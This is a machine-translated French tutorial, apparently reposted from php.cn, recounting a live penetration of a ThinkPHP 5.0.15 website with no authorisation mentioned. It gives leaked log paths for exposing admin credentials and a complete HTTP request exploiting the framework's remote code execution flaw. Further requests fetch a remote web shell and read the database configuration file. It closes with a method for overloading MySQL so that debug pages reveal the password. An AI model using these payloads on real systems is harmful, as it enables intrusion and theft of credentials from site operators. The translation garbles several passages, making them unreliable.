Maison  >  Article  >  cadre php  >  Rappelez-vous une pénétration pratique du framework ThinkPHP

Rappelez-vous une pénétration pratique du framework ThinkPHP

藏色散人
藏色散人avant
2022-01-21 16:22:174099parcourir

La colonne tutorielle thinkphp framework suivante partagera avec vous une introduction pratique au framework ThinkPHP. J'espère qu'elle sera utile aux amis dans le besoin !

Collecte d'informations

Trouvez un site Web http://x.x.x.x/ et commencez à le pénétrer

Utilisez d'abord nmap pour analyser et détecter les ports ouverts sur le serveur victime

Rappelez-vous une pénétration pratique du framework ThinkPHP

Vous pouvez voir les ports ouverts comme suit
Rappelez-vous une pénétration pratique du framework ThinkPHP

Le port est l'identifiant unique de l'application dans la communication informatique. Grâce au port, nous pouvons savoir quels services sont ouverts par le serveur victime

Par exemple, 3306 est mysql et les connexions externes sont activées. vérifiez l'accès au port pour voir s'il est ouvert. Quel service

8080 a ouvert phpmyadmin, un outil MySQL de connexion PHP Nous pouvons l'utiliser pour déchiffrer les mots de passe MySQL

Rappelez-vous une pénétration pratique du framework ThinkPHP

8082 est une page d'accueil de prêt

Rappelez-vous une pénétration pratique du framework ThinkPHP

Juste. entrez une route inexistante et vérifiez le message d'erreur tel que http://x.x. En raison d'un déploiement irrégulier, les journaux thinkphp sont divulgués. Le chemin http://x.x.x.x:8092/runtime/log/202112/19.log peut être utilisé. pour afficher le compte et le mot de passe auxquels l'administrateur s'est connecté.

Nous parlons ici de produits noirs utilisant le framework thinkphp Parce que le fonctionnement et la maintenance sont à moitié cuits, il est très probable que le journal thinkphp soit divulguéRappelez-vous une pénétration pratique du framework ThinkPHP

charge utile tp5-6 : nom de domaine/runtime/log/202112/. 19.log (

Le 202112/19.log suivant est basé sur les changements de date actuels

)

Rappelez-vous une pénétration pratique du framework ThinkPHPcharge utile tp3 : Nom de domaine/Application/Runtime/Logs/Home/21_12_19.log (

Le 21_12_19.log suivant est basé sur le changement de date actuel

)

Rappelez-vous une pénétration pratique du framework ThinkPHP

La version thinkphp utilisée par le port 8083 Il s'agit de la 5.0.15. Les conditions d'utilisation de la version 5.0.15 sont discrètes et douces.

Une fois la collecte d'informations terminée, attaque précise

Ouvrez burp, puis utilisez la capture de paquets, puis transférez le paquet de données au module répéteur de burp Ensuite, remplacez le contenu du paquet capturé par le contenu suivant

Le principe de la vulnérabilité ne sera pas expliqué en détail, car aucune couche d'architecture PHP ne peut le comprendre. Une brève description est qu'un écrasement de variable provoque l'exécution de code. Pour le poc de vulnérabilité thinkphp5, veuillez vous référer à https://y4er.com/post/thinkphp5-rce/

Le contenu du paquet suivant est de déclencher la vulnérabilité et d'autoriser. le serveur pour exécuter phpinfo()

POST /index.php?s=captcha&echod=phpinfo() HTTP/1.1
Host: x.x.x.x
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.110 Safari/537.36 Edg/96.0.1054.57
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6
Cookie: pmaCookieVer=5; pma_lang=zh_CN; pma_collation_connection=utf8_unicode_ci; phpMyAdmin=iar4j14536rat57j1d5018qjtt8vj69g
Content-Type:application/x-www-form-urlencoded
Content-Length: 77

_method=__construct&filter=assert&method=get&server[REQUEST_METHOD]=echod
Avec succès, vous pouvez voir quelques détails de PHP

Rappelez-vous une pénétration pratique du framework ThinkPHP

Commencez à écrire le shell et remplacez l'en-tête de la requête par :

POST /index.php s=captcha&echod=copy('http://x.x.x.x/2.txt','t2.php') HTTP/1.1
Cela signifie télécharger le fichier shell distant http://x.x.x.x /2.txt sur mon serveur. Écrivez dans t2.php dans le répertoire Web actuel

Rappelez-vous une pénétration pratique du framework ThinkPHPMais lorsque j'accède à t2.php, un 404 apparaît, devinant que le répertoire actuel n'a pas les autorisations en écriture

J'essaie donc de donner l'écriture. autorisations :

POST /index.php?s=captcha&echod=chmod('./',0777) HTTP/1.1

Je trouve que je ne parviens toujours pas à écrire le shell et que les autorisations php sont très limitées. Faible.

Remplacez chmod('./',0777) par readfile('../application/database.php') pour lire le fichier de configuration de la base de données. Il a été constaté que le mot de passe du compte MySQL avait été obtenu avec succès.

Utilisez le service phpmyadmin que nous avons découvert auparavant pour vous connecter, puis mysql pour ouvrir des connexions externes

Utilisez l'outil de gestion mysql pour vous connecter et découvrir un tas de bases de données. Et mysql dispose directement des autorisations root, et peut effectuer une élévation de privilèges sur le serveur (pénétration latérale de l'intranet), etc. Quoi qu’il en soit, le réseau externe a ouvert une ouverture, je n’entrerai donc pas dans les détails ici.

Rappelez-vous une pénétration pratique du framework ThinkPHP

Résumé

Pour résumer certaines des idées que j'ai trouvées moi-même : lorsque thinkphp active le mode débogage, si le serveur active les connexions externes à la base de données, il peut envoyer un grand nombre de requêtes en faisant exploser le service mysql (Laissez mysql bloquer ), provoquant la connexion de thinkphp à mysql et son expiration. Une erreur d'exception de connexion sera signalée et le mot de passe du compte mysql sera affiché sur la page.

Apprentissage recommandé : "tutoriel vidéo thinkphp"

Ce qui précède est le contenu détaillé de. pour plus d'informations, suivez d'autres articles connexes sur le site Web de PHP en chinois!

Déclaration:
Cet article est reproduit dans:. en cas de violation, veuillez contacter admin@php.cn Supprimer